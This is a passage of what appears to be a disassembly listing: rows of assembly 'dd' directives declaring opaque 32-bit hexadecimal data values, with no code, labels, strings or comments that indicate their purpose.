		dd 89AD7BC4h, 3E0B6F56h, 6AD71Eh, 28A84C8Dh, 5A0D4E11h
		dd 0BED1E0F2h, 0FA344006h, 0EEFFC811h, 6AEA4787h, 9FABC4E0h
		dd 1133B67Dh, 0B6E04B31h, 634C5190h, 0C9AB74C9h, 0E842344Bh
		dd 8799EEDFh, 2FF5F076h, 0EAC334A7h, 0BDB60079h, 8AF6ACD5h
		dd 0C04DAC68h, 0A015C155h, 8750650Bh, 7D6A22C3h, 0EBDC0070h
		dd 0C732DB42h, 0FC2C35E2h, 59B08A20h, 0E7CB0896h, 976DAE87h
		dd 68F2FBAEh, 0AD1CA907h, 6F8859A4h, 13DDD697h,	285F06EAh
		dd 850BF62Bh, 32E03D28h, 55C855E6h, 5422972Ch, 40DC1ECDh
		dd 5EA4047h, 9E2EFF6Ch,	6E612844h, 4E7739F6h, 36F2DB48h
		dd 81644801h, 848CE094h, 93CC1230h, 69F24B8h, 0CA74FB3Dh
		dd 60F46AB4h, 91DA8FFFh, 4782D3B6h, 54DF50C8h, 0FD702ADDh
		dd 0D655BFADh, 78DF7E11h, 0EB65C61Ah, 1866972Eh, 0D77435DFh
		dd 2CB103F5h, 36D081DBh, 722CF9C3h, 0BF3F9B07h,	4A7E5377h
		dd 0F22744E2h, 0BEF1F2ECh, 0AA51FE9Eh, 26D15652h, 705F2D35h
		dd 24201E95h, 0C658E437h, 82FBC007h, 0C324D24Bh, 0F8F464Bh
		dd 9F18A96Eh, 4CC4569Dh, 91A71C35h, 83BF7D8Ch, 27DF2AC5h
		dd 5AEC4F7Eh, 672A1AC4h, 19FE46AEh, 99DB3364h, 0E96BA6h
		dd 0CCD12F02h, 0E7F79DB5h, 0BC6CA7F6h, 83C9DE4h, 0BFB8ADB7h
		dd 0AD7EDE9Dh, 0B6243EBAh, 23E0E24h, 9D60762h, 651CE54Dh
		dd 0D7B2A3AAh, 3534E616h, 0A4AD5838h, 8F636AC0h, 3AD110FDh
		dd 39B387B1h, 215B925Fh, 4D048728h, 0D34F4EB9h,	3E37FE74h
		dd 2574A97Dh, 7E8F834Bh, 7A10140Bh, 8FA82CFDh, 0E5E2EF79h
		dd 5D969B18h, 6A3319D2h, 2E176C23h, 0E6843580h,	4685BBC8h
		dd 0F7E5CD1Ch, 0E619F926h, 614ACE60h, 8848DB7h,	0D3CD08D4h
		dd 0D200B71Ah, 3379B219h, 0AC6D37E4h, 82C2DC0Eh, 3F2B5216h
		dd 83A136F9h, 2B80D7DEh, 0F3870FEDh, 0DA13DE9Eh, 7697D7C6h
		dd 7630AE86h, 62572300h, 0F78A0D35h, 0DFB883DCh, 0D0568186h
		dd 0AEA68594h, 5F76EA8Bh, 16BE4243h, 0B3161D14h, 47F63D14h
		dd 0FE063BF3h, 0BF2BF038h, 62B0DF0Dh, 4CC493CEh, 884EC887h
		dd 0B6C7E9CCh, 8C49F73Bh, 3862A0BBh, 0D1C3B375h, 879DC06Ch
		dd 45C74DDFh, 1463BCA0h, 7B8B2DBAh, 16572C37h, 0D8D761F1h
		dd 70371E0Ch, 30B6D68Fh, 0D4C0FEA7h, 0A3F5D8CAh, 35E314ECh
		dd 5F880F5Ah, 0F6B3571Ch, 5DDF8CE5h, 15FDF92h, 0FAC9039Ch
		dd 83A9AB8Ah, 6845723Eh, 1538E894h, 0CC6F53BCh,	0DDB20D4Dh
		dd 0DAE8AA79h, 0B5D127EDh, 0F884E18Ah, 8743682Dh, 40A7476Eh
		dd 55DA7304h, 1CEB3C9Fh, 0F713FD47h, 56A9EB15h,	55D0C570h
		dd 7513A58Bh, 0CD4908CAh, 3B084328h, 11F63C26h,	0C6D26E24h
		dd 0B5307607h, 0D0A5CEEEh, 1684585Bh, 195651D1h, 0F82D433Fh
		dd 0E50928DFh, 9F338117h, 27D94BC2h, 0B2DACF4Ah, 53884888h
		dd 429D9C80h, 9F9F69B4h, 37FC7DDDh, 0B9D857BAh,	2881CE79h
		dd 8958D3B4h, 0CDAD4CECh, 0BC6E6710h, 0ED3B9765h, 279C2DD6h
		dd 6A5ED96Eh, 242E13D2h, 805710E0h, 6DF45A4Bh, 9B7850A8h
		dd 0D16621DDh, 1566E5D5h, 0C276C9F0h, 0F08BAAFBh, 0D6D7FC77h
		dd 0DF619B44h, 0F2B5E16h, 175BCFC0h, 79790A15h,	927481C6h
		dd 56EB22FFh, 0F18027D6h, 56376614h, 0E3B69BDDh, 96A309AEh
		dd 6AF1CD72h, 80360631h, 6C72144Ah, 30C21035h, 33FBE44Fh
		dd 34054972h, 2C811689h, 89995A13h, 6821732Eh, 0A4410AD3h
		dd 0B5953098h, 39867BD4h, 6B36B141h, 7F46D8Eh, 5961B3EEh
		dd 4DB243BCh, 0A09AB790h, 0E99ED750h, 91CC4BC4h, 0D11E7B47h
		dd 8CCABFA0h, 6CC919E1h
		dd 0E9F1CE67h, 801530Eh, 7D695A03h, 81F4D4E8h, 36C87109h
		dd 8C5CAE6Bh, 62AB7C2Bh, 809F6481h, 14AD4870h, 0DC690637h
		dd 0E6017D96h, 78F79E65h, 76312EF6h, 0FF7DC271h, 7128929Fh
		dd 5CD734B1h, 0E678BE61h, 767F2351h, 4D67CB10h,	9360F6B7h
		dd 513299DAh, 5BD9CE6Dh, 0B52523EAh, 0CBC16D61h, 0F632E467h
		dd 0E077F56Fh, 0CCAC519Bh, 95AD39F0h, 40C1C89Ch, 7CCD2545h
		dd 804A33E0h, 9619C280h, 0F3203DE5h, 4510CE30h,	0D18ACB0Ch
		dd 0A9EADB04h, 0B867A354h, 207649E4h, 0F6A5AEF4h, 0F273D105h
		dd 4E54B7FAh, 0E53AB8F4h, 0FDB7CF10h, 5B565057h, 0E08254CAh
		dd 0AD6EE79Eh, 9EE79B2Ch, 0EC0C07DDh, 0B7EA76B4h, 58ACAD71h
		dd 0CC43C905h, 0C73BC463h, 8C4FFE50h, 45D88A1Fh, 87AF1AC3h
		dd 2B83772Eh, 3506EEDFh, 2AC240D9h, 496B3AB9h, 0F5A7A1F0h
		dd 628538F7h, 5D559AFh,	8CEE57EFh, 7466112Fh, 0B44E5D08h
		dd 7600F93Ch, 0B1E27CFDh, 9ABC9980h, 6310EC1h, 385FA70Eh
		dd 28632BC3h, 7EA5394h,	4DEC9DCFh, 0DB7707A0h, 3CFE579Ah
		dd 0D24623F0h, 97CF61h,	0C2BDB5EAh, 0FF707D61h,	12DD12F1h
		dd 0C0CB6CFDh, 3BDC252Ch, 0F5073EB2h, 0EED31FA1h, 0C378C90Eh
		dd 49FEC744h, 0AA6D6A07h, 0FFCB7BD5h, 420B0AE2h, 0DC88AA5Ch
		dd 22E9A9C8h, 978DCC90h, 74F42392h, 4DD6BAFFh, 0D87F62A5h
		dd 1EBBAD5Dh, 0C44365A7h, 0F1AE6E0Ch, 0B6CF65FAh, 54C479DBh
		dd 34027A3h, 0A3F234C9h, 0BA928C1Ch, 15431BB0h,	46BDE22Bh
		dd 87CE57Ah, 5B399FFh, 7EDB5CF5h, 0AE1054E2h, 3F3365ABh
		dd 3DDFA769h, 22FF25A2h, 0EF10CBA0h, 0AA111C55h, 850EC772h
		dd 476AFB73h, 95AD3C05h, 0D532A3A0h, 539DABC4h,	3156D4C0h
		dd 1AFFE5EDh, 0F71E4722h, 0FE4758B0h, 53E67F1Ah, 1F84333Ah
		dd 25349966h, 0E6984DF4h, 8D47F2F4h, 9B17C073h,	8C6B80FEh
		dd 61B25FA5h, 69116245h, 49A64022h, 0D8C76B04h,	48D28119h
		dd 6C7FEA1Dh, 0F039CCD0h, 9E3F95B7h, 577A8814h,	98F2E827h
		dd 0BEABF4C9h, 75D40E29h, 635746BFh, 7542FCCh, 0ACE91D72h
		dd 5361C6CEh, 54DC0E1h,	0D1970AB1h, 0DA7CB64Eh,	99912CF6h
		dd 6B5882DFh, 4BF300E9h, 37032BF9h, 0DF722A0Eh,	0D72C3916h
		dd 0A755CAF6h, 21FB1134h, 0B916D573h, 0A195CBFDh, 0C0F9865Fh
		dd 55D99DD4h, 0FDD85D50h, 116E170Ch, 8C3C6CD5h,	576CD3B7h
		dd 0D359A25h, 218D4F63h, 8DCB652Ch, 25C2DB22h, 8A275441h
		dd 0BEE15C25h, 0FD8EFDF8h, 96C58415h, 12287E1Fh, 5853147Fh
		dd 5ACC0DE8h, 3C40E6DDh, 0EE681A98h, 899A272Bh,	0D430C5F2h
		dd 0F226E47h, 0C6F9BD86h, 0CD1B90FBh, 0B1CA74CAh, 295F7E1Fh
		dd 0C646AA89h, 0CD4E8B56h, 53C7FEBCh, 4EB39BAEh, 0FBCA5A1Eh
		dd 4DE20197h, 0CEEF68Eh, 1EECB96Fh, 0E37B3ED5h,	0D335161h
		dd 4B5E255Fh, 0B93AB070h, 0F358CD4Fh, 0C234F399h, 21EA0364h
		dd 0C9B40D24h, 0C6DCB2E4h, 0D02C8DD2h, 257BD04Fh, 864DCF3h
		dd 7D601CC9h, 993B7197h, 0B3CA20FBh, 7C613AFAh,	8FEAAC0h
		dd 0B6646507h, 0E5F0F25Ch, 0D5097DB3h, 0BB9A385Ah, 8835045Eh
		dd 9EBC38EAh, 0F0FA7B8Bh, 77D348C9h, 0F0CEA9C1h, 19A1A50Ch
		dd 7EB4115Ah, 8A3E4FC4h, 1094A6DCh, 366AEA66h, 169EF4E4h
		dd 5874AD19h, 0E9AEEE71h, 251BB72Eh, 2C0A398Bh,	0E23530EFh
		dd 0A64881EBh, 813CE53Fh, 5DE066Eh, 205EF27Ch, 9BB88758h
		dd 196A2D53h, 5AEDB290h, 2C0FA72Dh, 6E1B7295h, 0A1266095h
		dd 967E2F66h, 0A23F389Bh, 6AFB1222h, 91565FEDh,	0BE2EE3ABh
		dd 13C9ECD2h, 9409E2E8h, 1FDCE13Ah, 8AC164C6h, 75024615h
		dd 9E16C0D6h, 868BB522h, 0E2DA468Bh, 0BE76DB05h, 45E83CEFh
		dd 0F4C5B2A5h, 2BA73B94h, 21C34FE7h, 0C19944E5h, 0D2EEBD6Bh
		dd 0F2619120h, 2B355AA5h, 20EB02DCh, 0CE9309BAh, 1C20A0C8h
		dd 0B2784357h, 233BA2B7h, 0E38B6736h, 1A86D24Bh, 0D75A9A60h
		dd 8088EB7Ah, 81F6F03Dh, 0B80E339Ah, 903ACF1h, 147C135Ch
		dd 11D0B889h, 729E8338h, 31362D2Fh, 5B2DD577h, 563392B7h
		dd 559C4D8Eh, 4CDCAB46h, 0C803F88Ah, 0D4608E1Fh, 0EB38F59Bh
		dd 871D80CFh, 0A4CC7DB3h, 0DABA36A0h, 0D7F32518h, 0B4068CCFh
		dd 89A68869h, 6836568Fh, 2D5B39F5h, 3CE68F76h, 0EA0AAB75h
		dd 0F8C28F35h, 20C58C55h, 3964B8D3h, 984C98F6h,	800A4BD8h
		dd 0DF83B2CAh, 837FAFBEh, 0CF8BFA02h, 0C2E9974Eh, 6FB02D1h
		dd 113494DCh, 68677BA3h, 551AA7B7h, 0D2ACAE69h,	0FD1322F6h
		dd 208957E8h, 507F37D6h, 84E78988h, 5094A2F0h, 0D5D4A061h
		dd 3464C8B9h, 0F7360FD4h, 0F35636A1h, 1811A56Bh, 0BB9A9C6Bh
		dd 0F516A265h, 88496CF9h, 35488A7Fh, 60154DB7h,	4CF833C6h
		dd 358DB1ECh, 79F90C46h, 856A838h, 9D9A0FC2h, 63A61DE8h
		dd 11B344Ch, 0DD529510h, 0A5EE272Dh, 10DBF139h,	0F7F889FDh
		dd 5B8E8F4Ah, 47DE2438h, 3AEC5BE2h, 0A35CECCDh,	509A1D2h
		dd 0FC27941Eh, 0D81527BBh, 84F8804Ch, 1E705548h, 3936095Dh
		dd 4AB0592Eh, 0D5E66452h, 0FC388C78h, 9BCBEFB8h, 14D7A042h
		dd 16857D8Ah, 0CCD5994Ah, 0CE44FE0Ah, 1C5DDC7Fh, 9E902F62h
		dd 0D374EF11h, 17B930E0h, 95D3A14Dh, 74A9D915h,	0BDED288Ah
		dd 948EB076h, 5040F154h, 0A44D0B84h, 414C32DCh,	2BF66227h
		dd 8E49E26Ch, 95DECAECh, 8581925Dh, 79E70F69h, 84D974BCh
		dd 0CDA16A27h, 8B34513Fh, 5BD25EDDh, 4DFF8012h,	28E96FEEh
		dd 2A741E2Fh, 0DEF07FBh, 23E740C5h, 1BB90052h, 0DEB3755Dh
		dd 549A5CFDh, 0E01411C0h, 15E83B8Fh, 0C8FE8473h, 466D387Ch
		dd 63EC4DF6h, 74F86813h, 3632B5CCh, 0A77B23E7h,	0D792946Bh
		dd 0A8BD9148h, 4908B212h, 9AFB6Dh, 8C34B839h, 300EAC9Dh
		dd 0F82E11FDh, 0D905A36Fh, 73C36329h, 547222CFh, 0BEFA4D7Ah
		dd 24746872h, 5B731413h, 0FC2A38F8h, 5DEEECC6h,	34AAE4E8h
		dd 9AA0B677h, 0CF0EB961h, 7001DFCCh, 1F920525h,	1F81F8FBh
		dd 0E00B985Bh, 0ED627205h, 3E17F5A9h, 899B1776h, 0DADBD5AEh
		dd 65E2AFAEh, 81A8666Ah, 0B8108FE2h, 0A2E787E5h, 0C5D7E530h
		dd 0FD14C55Ah, 53915C9Eh, 2CA924Bh, 0CB84433Fh,	802E0D1Eh
		dd 1BE70E42h, 35444EF8h, 8E8E9F8Fh, 6B2F119Eh, 9738F87Bh
		dd 7B9769Ah, 0CB4688F1h, 0C4263425h, 0B39B755Ah, 0DE904B44h
		dd 86CC5F0Ch, 5648C849h, 0A01EBB64h, 0CD0E15Dh,	2400B931h
		dd 0AC6B2935h, 0BA7C9236h, 39D60BD7h, 41E0E0DAh, 36CA9C8h
		dd 67B4A881h, 7E6474B4h, 0F793474Fh, 1E22583Ch,	5D2AA630h
		dd 9DDFD0F2h, 32F27DC1h, 0A7D42FE1h, 0FD09EF1h,	357FA457h
		dd 0F31A65B6h, 31AF8623h, 25DBFF18h, 58A87745h,	0DBC96B9Ah
		dd 81819ABBh, 0C67F0D18h, 13E97DC4h, 0C69E4485h, 5F155BA8h
		dd 0C5CECB5Fh, 0D8258EE0h, 0EE24EB70h, 3D48AC41h, 650FF44Ch
		dd 0CE95CD6Ah, 4F99B13Dh, 5E83904Bh, 0C791C7C5h, 0A9BA776Ah
		dd 32FE19F4h, 567F9E8Ah, 74FF3596h, 9E8129F9h, 5C33E902h
		dd 502ABAB7h, 2089C5E7h, 68BD1FDCh, 4BC60EE0h, 592D25F2h
		dd 125F3188h, 5E86B5EAh, 89AB679Fh, 9A5E2927h, 3033E4DFh
		dd 35FE2E57h, 0FA0C6EA4h, 5267CFFBh, 8A74795Fh,	1E209143h
		dd 4BA1E291h, 0A8C2541Dh, 0C279902Eh, 0C804D708h, 0CF1B1A57h
		dd 0B7F99A16h, 0E94D1E82h, 30EA8830h, 4D8060Bh,	0AC89623Ah
		dd 111A519Ch, 67AB77DCh, 808686DBh, 3813B77Dh, 0B95C6005h
		dd 9C2D469Fh, 0A04E826Fh
		dd 3A52CFC6h, 94607C4h,	147F4EE3h, 4BCA76DBh, 0DA7B7EB6h
		dd 0B6BA7FB0h, 44E5B773h, 0D8C95865h, 21B31276h, 2914C288h
		dd 0C0CC72BDh, 2666EF32h, 0E72E043Ah, 48266EF5h, 20E8B232h
		dd 0B29103E0h, 5C3563B7h, 61D27D83h, 6A264540h,	0A8AD8FE4h
		dd 9B465AAAh, 9BE99D4Eh, 4119FBFBh, 0C25E51D3h,	0F837C9A5h
		dd 87F80223h, 115D1FD8h, 799B5F1Ch, 0D64AC077h,	19241546h
		dd 677F8899h, 0C54060F8h, 0DD3DBB44h, 0A0349D64h, 2B3CEBBAh
		dd 0A8467C04h, 1188E13Ah, 29A85CD5h, 0EA60FA14h, 6B1360C3h
		dd 2A4C9D09h, 24F28CB5h, 0C09DDC8h, 7184B4F3h, 32063533h
		dd 0BD6C89C8h, 0A58B375Bh, 359C1611h, 29EED3A2h, 0B4A802CAh
		dd 5CC65062h, 0B666DB7Eh, 0F16CF383h, 3277C54Ch, 8703673Eh
		dd 3D1BB4C5h, 279AC5D8h, 2B975A26h, 9CB2E57h, 0B538ECE1h
		dd 8212A349h, 0EF812CF7h, 0EB42B9CAh, 0D1F8C69Fh, 7686C307h
		dd 45A48FCEh, 0F5BC2ABDh, 6EFE3EF4h, 125BC0F5h,	9E56E62h
		dd 1C88A11Ah, 7968DC39h, 0E5B6734Bh, 0F1F78638h, 0BD3A9459h
		dd 0DB44EDD2h, 66A99E77h, 1D22495Dh, 0C5A686CBh, 0B1255DCh
		dd 78FDED9Ah, 0E2E70793h, 42EB665Bh, 4F89B37Fh,	75E673D5h
		dd 0EA41B388h, 0C150B0F9h, 4550874h, 6F938D2Bh,	7A8F9AA9h
		dd 0F6C11E88h, 348B63C6h, 0DA7454Ch, 9375877Ch,	138CDF20h
		dd 8930916Eh, 9009074Bh, 0B39F0207h, 90456603h,	34910D8h
		dd 76FB486Fh, 71B89C9Ch, 0D643EE9h, 83C0F19Eh, 0B87021F2h
		dd 0C61F486Fh, 0BE3D55Bh, 837FE888h, 0E02CD5C6h, 1EA3438Dh
		dd 2A03E421h, 66A36AA4h, 37C0BA15h, 83A8E6E7h, 638079h
		dd 36993FF8h, 0B94C3C8Ch, 95A3AA77h, 0B9DC8B71h, 22BADB47h
		dd 7D5104D6h, 8B8B53D4h, 61C29B3Bh, 0F43FD218h,	47633444h
		dd 0BB8C4C56h, 4CD06913h, 56E8E2A5h, 0E1F7B63Bh, 9A9DD338h
		dd 0D5E0B02h, 2939E2E2h, 0E1122F01h, 0A2C397Ah,	5982464Bh
		dd 3E5B2A89h, 63CEE4C4h, 9E7EF4A5h, 61608B4Dh, 2183805Bh
		dd 24F9F75Bh, 2770B3B0h, 0E4215D5Ah, 83BE14C4h,	0DEF5CCDAh
		dd 0DFC6E555h, 96EAFF6h, 7BD27398h, 0AD9800AAh,	25683160h
		dd 366DC941h, 9A0976CFh, 0A1AB82E7h, 0E4D8996Eh, 0F0656DFEh
		dd 898C42CEh, 692678B1h, 3B474426h, 0F540DD55h,	6C920B4Ch
		dd 875FE17Ch, 3CF5B37Ah, 0BEA2270Bh, 0E0986605h, 0CF60D716h
		dd 0FA57EFADh, 6DD1E0A1h, 0AAA876CFh, 3E5BCE58h, 0B979D84h
		dd 0BDA5B3A7h, 0BBE146F7h, 5A5B86E6h, 0BBDF15ECh, 8FBE3FEBh
		dd 3ABC6E7h, 9A2EEB40h,	4CE9AB43h, 75B246C8h, 0F256D040h
		dd 7C0F1809h, 0C617E90Dh, 51021CD5h, 0DB12980h,	0AE39B8B1h
		dd 398AD5h, 0A8450ED6h,	0FCB6E727h, 13D7443Fh, 6FE9C44Eh
		dd 0A09F0B67h, 0DCBF776Dh, 264C4BB2h, 0C30249AAh, 0D80756FAh
		dd 9D94F8C1h, 6264CD85h, 4C5F8829h, 0CB78FDD6h,	846B659Ah
		dd 0A398950Ah, 1846E1Eh, 89909C9Eh, 0D75E1A20h,	0B59CB50Eh
		dd 0F2A29728h, 4748740Dh, 4CEF8BE2h, 76FFF370h,	7B2684DDh
		dd 9ED1D0F2h, 0B295A1A5h, 0AF96F0C3h, 0E0FC74B1h, 3563D13Ch
		dd 0DFA92DFEh, 0C588E73Ch, 292BB990h, 38E80Eh, 0BA843F98h
		dd 0A9851D7Bh, 22AD2DB8h, 31B1E7EAh, 0D3C3B375h, 27F55525h
		dd 0CF4F8FA3h, 2B5A576h, 0F0AA81Ch, 0DA321376h,	950ED504h
		dd 0D4414B0Bh, 0EEACC26Eh, 0D98297C3h, 2C35CC06h, 91179548h
		dd 0DC2C3BB3h, 286CD136h, 4C2891F0h, 0B9CC39F7h, 0EC15BEDDh
		dd 83AF625Ch, 0CE0F8B0Fh, 109958C3h, 0B6B9C5D7h, 102E260h
		dd 6C27A46Bh, 85BABA9Dh, 0E7E0D35Ah, 914FA022h,	16103009h
		dd 8B3FE243h, 0A6577ABh, 34090C9h, 7371CA0Dh, 7DCB5A3h
		dd 4B97AB17h, 575947F4h, 0D0347983h, 7E8C4EC0h,	0FDAAB97Ch
		dd 19C293CCh, 2B2062E2h, 603DDF2Bh, 0D19A7CBCh,	0B01D3873h
		dd 86CFFDF3h, 0F6AEBA15h, 6B92022Eh, 4AAF5745h,	264321E5h
		dd 5DC6C2F3h, 0A7ADC3ACh, 2C64202h, 4F18126Dh, 59C13CB8h
		dd 2F2DA187h, 368222Bh,	43382D64h, 334D22F4h, 9E5553DFh
		dd 0E1BC51AFh, 1BCE461Fh, 16CEFADDh, 242CE1Fh, 4E45F6BFh
		dd 9AF4F38Ah, 0B0659E53h, 4E4ACFDDh, 0D687540Fh, 0D4F789D0h
		dd 0E13ABF56h, 87F27216h, 0B9F6B02Eh, 1051BAE3h, 3FE98DB2h
		dd 2E769A6Bh, 0B4A5D386h, 38233021h, 0D037A5E4h, 0AB10A37Eh
		dd 65ED5E00h, 1708EC4Ch, 39630E68h, 0A110F595h,	0CCF97475h
		dd 2A688D78h, 3ABA673Fh, 8E2D5BFAh, 8795D19Dh, 0C03B2A22h
		dd 0B351A55Ch, 8C535F55h, 0E4773532h, 92179947h, 0C4FD318Ah
		dd 93507E2h, 0F0F97924h, 76D9BEB0h, 3D12A5A2h, 66150A36h
		dd 0D421A608h, 0EAA4FBC7h, 31402095h, 240DF5B4h, 0DAF35A43h
		dd 0C2BD77A8h, 97C4B5B9h, 28984B60h, 0E07D9889h, 0DB5AE547h
		dd 4A623277h, 6D4C8A13h, 0B87761ECh, 6639FF7h, 471E29E0h
		dd 884E432Bh, 5FDF9E34h, 97AB23F6h, 363A1D36h, 4ED8B741h
		dd 0ADD04A47h, 4808BFh,	0C662DFE6h, 73A5BDFEh, 124547F3h
		dd 198B411Ch, 0C2230B54h, 1A79D418h, 58468D2Dh,	0DF562963h
		dd 0C8B7FDB2h, 2ED18A7Bh, 0A5282BF4h, 4019FD50h, 6D2D397Dh
		dd 7DA10CA7h, 0E76D0E85h, 0AAFBB3C0h, 0EB4A336Dh, 24EFD30Bh
		dd 4631C6CEh, 28AA937Fh, 92B76F59h, 0F43EEA7Ah,	0C36A9EF0h
		dd 7F3250DFh, 1BA572F6h, 0B465EC29h, 7B0AD6D6h,	0FDD29983h
		dd 0C255517Ah, 6BB88D29h, 0DBCBF441h, 6A80FF50h, 3C29EAE8h
		dd 9A106ACEh, 0CDECCEEFh, 35B11890h, 0F0916B0Bh, 2CA9F1DAh
		dd 26B31346h, 9E5ECFB7h, 0FA526903h, 74B1C9EDh,	4950DF70h
		dd 9C51E8A6h, 4D2AE715h, 1E0832EAh, 8FA98156h, 732CFACBh
		dd 0C6A16905h, 0A20BD7F5h, 3B4E9F38h, 0DB43DA5Bh, 1822E84Fh
		dd 3D20EE84h, 73B038DDh, 12E4FDD6h, 0A8E2724Bh,	4E7CFEC6h
		dd 0A12E181Ch, 0DC5B5FBDh, 0E0FF8C0Fh, 7F9158C4h, 7D028AD3h
		dd 0ED378A19h, 0D3D59226h, 0AF8BA9E6h, 24F8ADF7h, 1567AB23h
		dd 6C51288Dh, 0D11DC3D2h, 0BCB30969h, 5B27FD4Ch, 842EF52Eh
		dd 189261Dh, 0F26A2E64h, 0D85D5E93h, 44213CF1h,	12D0AAE4h
		dd 0E67BA64h, 0CF9D04F0h, 0A3409332h, 1E2C8606h, 0D4FF776Fh
		dd 5CC9AA57h, 0F6EE47A5h, 8B2E8524h, 71200C9Ah,	0C40BA461h
		dd 0FDA3EBACh, 0D8AD4DE2h, 0AC5B7328h, 24A021B7h, 2ED9A64Eh
		dd 89F1D5E0h, 9F2B5860h, 9D40D26h, 0C782F182h, 824602E6h
		dd 4FE5DFEFh, 7054DD03h, 0DD8479Dh, 9BA58284h, 8632E885h
		dd 855680DEh, 1B76423h,	0BD852D5Ch, 0F15777F4h,	9F260EDCh
		dd 9E88444Eh, 1059D6C0h, 0E54CB546h, 0EF13BE36h, 543B7D0Eh
		dd 2BD6905h, 0A06D12B4h, 0C0450ED0h, 0BD4B96E1h, 0C8955CE5h
		dd 0AA0DC0D9h, 1B9267D3h, 955A4F11h, 75FE37ADh,	3D246E60h
		dd 0D2EBC72h, 8F2ECB5Eh, 356CBE19h, 13BE90ECh, 139250DEh
		dd 0A04238C3h, 0D0E59E6Ch, 7A28D16h, 0C0FBD11Eh, 33EE486Bh
		dd 1CFE2266h, 35F27931h, 94633B70h, 0EF57E99Ah,	0E2E0309Ch
		dd 0AC5D540Eh, 0FEBC4A0Bh, 0A5CD928Dh, 15D457CCh, 5B4BA85Bh
		dd 1EE300DEh, 0F4B8A867h, 4EEF9DBDh, 4B3AA2EFh,	3E370E68h
		dd 0B1FDDBDEh, 0CC3B2A01h, 222A85Bh, 59C47DE0h,	0F3DBA6Bh
		dd 9BF7524Ah, 8848CBC2h, 2E9E1E2Ch, 479C736Dh, 46CDEC0Ah
		dd 0F8A15791h, 5B626622h, 11C0CA13h, 0A2C30A0Ch, 90F875B7h
		dd 8291858h, 2AEDAA06h,	2949E561h, 245D095Ah, 0A554D48Dh
		dd 282909B8h, 0C1988587h
		dd 0BCAACB69h, 0A0290BB4h, 76D39B4Bh, 0B66C95FDh, 5B975A96h
		dd 0FF2020D3h, 0A0E9E499h, 0E91641F3h, 0F3A7B40h, 3428713h
		dd 43020502h, 36DA25E5h, 0E3FA6C7h, 0D893ADDh, 0B61C157h
		dd 70D4CDC5h, 0E48D00ABh, 851F3062h, 9B589D49h,	69D9AA62h
		dd 32B76A6h, 32D38E49h,	9E0DFF71h, 62A43AD3h, 17F4098Eh
		dd 7A6F96B5h, 0A2738767h, 67CA71B3h, 78E8B83Fh,	3EE8277Dh
		dd 1B0F5516h, 0CA4384A6h, 21FAF922h, 0A97F46CBh, 8D0F41Fh
		dd 0EA07FA85h, 0DFCA1C93h, 0B049F2h, 0A1D5F105h, 43E01C1h
		dd 95D8E03Bh, 47E03105h, 0BC69A69Ch, 0EDABEAF3h, 1A488CDCh
		dd 7088A2C4h, 8C2D2879h, 32F3AF08h, 5118E4FAh, 247DE551h
		dd 10FD8B4Bh, 860B1753h, 0E475369Dh, 0EC871716h, 0B0F196EFh
		dd 5198B874h, 2C03A61Fh, 8ECD49A7h, 215CA01Fh, 42C54FFh
		dd 2CE1B14Bh, 41E29FE1h, 3C7323F9h, 1D6F3CB7h, 76EFC72Ch
		dd 9B796BA7h, 9B9C16B9h, 1623BC49h, 0BF74B775h,	0F1B5F965h
		dd 5273EE51h, 4562BCF4h, 20C48C71h, 0DC907079h,	4F565205h
		dd 0DFC4420Fh, 0C54E836Eh, 0A10D3DFDh, 1B60A255h, 0D6C72E94h
		dd 76F0FE49h, 2C50BB6Fh, 55930FCBh, 756C7F9Ah, 293B216Eh
		dd 0F1BB7034h, 62291697h, 0D51C605Fh, 1B1A6584h, 0BF418393h
		dd 672AEA37h, 1816B8BDh, 6DDE3521h, 44CAF44Dh, 0EED18B92h
		dd 9D958EB7h, 5ACEABB8h, 0E5440929h, 596FFD16h,	88C4ECDAh
		dd 6EF2851Fh, 0AFE3C915h, 5CBFBB11h, 0A84E188Eh, 9D16782Fh
		dd 0AFC74A4Ch, 0C7464BB8h, 57ECA700h, 6D20FFB6h, 202C1EB9h
		dd 519C4BD5h, 30246895h, 19DDBCB9h, 48A5769Bh, 980BCA6Eh
		dd 0B25EA5F7h, 0E22B4C20h, 2B88907Ch, 6BB163CEh, 0FE3E958Bh
		dd 0BCC2639Dh, 0CAA77A02h, 46819D07h, 0DE431BDDh, 6C7CC657h
		dd 0C93126F7h, 1C2BE56Ch, 44B615DEh, 0F34A6857h, 9D4FF2BAh
		dd 0FC36D74Ch, 3CF5C42Dh, 78B9564Dh, 479075A8h,	5273468Fh
		dd 0A966FBA6h, 0C0C24B64h, 35EA6809h, 0F5C82FF8h, 0ED48D028h
		dd 4D94D9AFh, 16521053h, 0BA78D811h, 7B3E46CFh,	0FDA20F88h
		dd 0EB8C7D4Fh, 8C2D6136h, 0BA7AA0C7h, 706AD3B6h, 0AA350882h
		dd 2B788D2Ah, 8ECF7056h, 20414994h, 0AD252C02h,	2CCE9776h
		dd 33853187h, 3163F993h, 2750B510h, 8A6AE3ADh, 86C0EAE1h
		dd 0FE4017F4h, 0CF3C465h, 0AFE28ED5h, 5C051AA5h, 515EEE97h
		dd 8F968CC7h, 0B42F99DCh, 0CC1D2C56h, 0E9D9AEEFh, 7BDAF14Ch
		dd 0D7824E11h, 0E9025312h, 0AC19FEA3h, 0BB7CBF5Bh, 0B65259C6h
		dd 0FD7A646Fh, 6C4BF768h, 2D3C9223h, 92C19504h,	9C294C51h
		dd 4D911EE6h, 7DD60530h, 8EC6CA40h, 6B72147Dh, 11A8826Ah
		dd 9499A011h, 0F8AE014h, 0B97B8C46h, 1E7B76DDh,	219B7835h
		dd 39A47CF0h, 0C31CBB41h, 0C06DC07Bh, 2CF0C81h,	0ED8D70BEh
		dd 0E40D1EA4h, 1A07AC4Ch, 61BF93AFh, 0E4881120h, 0D008FA6Ah
		dd 0F318F429h, 4F293C1Fh, 72BFDAA0h, 523DFEA3h,	0B14E25E8h
		dd 7B922BE0h, 0AF52DAEDh, 0CC1291C9h, 33633F42h, 0DF63E56Ah
		dd 25C21B98h, 0E6A18E3Ch, 5FC8D163h, 7DF3D3Ah, 73A87CDBh
		dd 46896BA2h, 118A9FBEh, 70F925ACh, 3ADB8829h, 74A14011h
		dd 95042188h, 0A596331Fh, 0DF652FC8h, 45FA9E5Eh, 98A8FDD0h
		dd 74DDB85Dh, 5A3A6BAAh, 0B6EA4BFAh, 208716A8h,	0E1C60AD3h
		dd 0C2C3BF49h, 53DCB9FBh, 0D2A4EFEBh, 0A352C07Bh, 0C4E52C72h
		dd 8493073Bh, 46C25785h, 2C392488h, 57BA1620h, 12987A9Bh
